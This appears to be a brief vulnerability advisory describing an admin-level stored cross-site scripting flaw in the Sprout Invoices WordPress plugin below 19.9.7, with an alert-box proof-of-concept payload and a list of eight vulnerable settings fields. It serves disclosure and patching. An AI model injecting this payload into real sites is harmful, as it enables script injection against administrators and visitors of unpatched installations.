Client Invoicing by Sprout Invoices < 19.9.7 - Admin+ Stored Cross-Site Scripting

Proof of Concept

Put the following payload in one of the vulnerable fields in the General Settings of the plugin (/wp-admin/admin.php?page=sprout-invoices-settings): "><script>alert(/XSS/)</script>

Vulnerable fields:
1. Company Name
2. Contact Email
3. Phone
4. Fax
5. First Name
6. Last Name
7. City
8. Zip code